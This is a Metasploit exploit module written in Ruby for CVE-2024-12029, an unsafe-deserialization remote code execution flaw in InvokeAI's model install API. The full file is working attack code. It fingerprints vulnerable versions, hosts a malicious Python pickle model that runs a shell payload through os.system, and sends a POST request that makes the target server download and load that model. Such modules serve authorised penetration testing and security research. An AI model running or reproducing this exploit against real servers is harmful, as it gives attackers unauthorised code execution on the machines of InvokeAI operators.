##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HttpServer
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'InvokeAI RCE',
        'Description' => %q{
          InvokeAI has a critical vulnerability leading to remote code execution in the /api/v2/models/install API through unsafe model deserialization.
          The API allows users to specify a model URL, which is downloaded and loaded server-side using torch.load without proper validation.
          This functionality allows attackers to embed malicious code in model files that execute upon loading.
        },
        'Author' => [
          'jackfromeast',     # Vulnerability discovery and PoC
          'Takahiro Yokoyama' # Metasploit module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2024-12029'],
          ['URL', 'https://huntr.com/bounties/9b790f94-1b1b-4071-bc27-78445d1a87a3'],
        ],
        'Platform' => %w[linux],
        'Targets' => [
          [
            'Linux Command', {
              'Arch' => [ ARCH_CMD ], 'Platform' => [ 'unix', 'linux' ], 'Type' => :nix_cmd
            }
          ],
        ],
        'DefaultOptions' => {
          'FETCH_DELETE' => true
        },
        'DefaultTarget' => 0,
        'Payload' => {
          'BadChars' => '\'"'
        },
        'Stance' => Msf::Exploit::Stance::Aggressive,
        'DisclosureDate' => '2025-02-07',
        'Notes' => {
          'Stability' => [ CRASH_SAFE, ],
          'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
          'Reliability' => [ REPEATABLE_SESSION, ]
        }
      )
    )
    register_options(
      [
        Opt::RPORT(9090),
      ]
    )

    register_advanced_options([
      OptPort.new('SRVPORT', [true, 'The local port to listen HTTP requests from target', 8081 ]),
      OptInt.new('HTTPDELAY', [false, 'Number of seconds the web server will wait before termination', 10])
    ])
  end

  def check
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'api/v1/app/version')
    })
    return Exploit::CheckCode::Unknown unless res&.code == 200

    json_version = res&.get_json_document&.fetch('version', nil)
    return Exploit::CheckCode::Unknown('Failed to parse version.') unless json_version

    version = Rex::Version.new(json_version)
    return Exploit::CheckCode::Unknown('Failed to get version.') unless version

    return Exploit::CheckCode::Safe("Version #{version} detected, which is not vulnerable.") unless version.between?(Rex::Version.new('4.0.0'), Rex::Version.new('5.4.2'))

    Exploit::CheckCode::Appears("Version #{version} detected.")
  end

  def on_request_uri(cli, _request)
    send_response(cli, Msf::Util::PythonDeserialization.payload(:py3_exec_threaded, "import os;os.system('#{payload.encoded}')"))
  end

  def primer
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'api/v2/models/install'),
      'headers' => { 'Content-Type' => 'application/json' },
      'vars_get' => {
        # Malicious model path, not .pkl
        'source' => "#{get_uri}/#{rand_text_alpha(8)}.ckpt",
        'inplace' => 'true'
      },
      'data' => {}.to_json
    })
    fail_with(Failure::Unknown, 'Unexpected server reply.') unless res&.code == 201
  end

  def exploit
    Timeout.timeout(datastore['HTTPDELAY']) { super }
  rescue Timeout::Error
    # When the server stops due to our timeout, this is raised
  end

end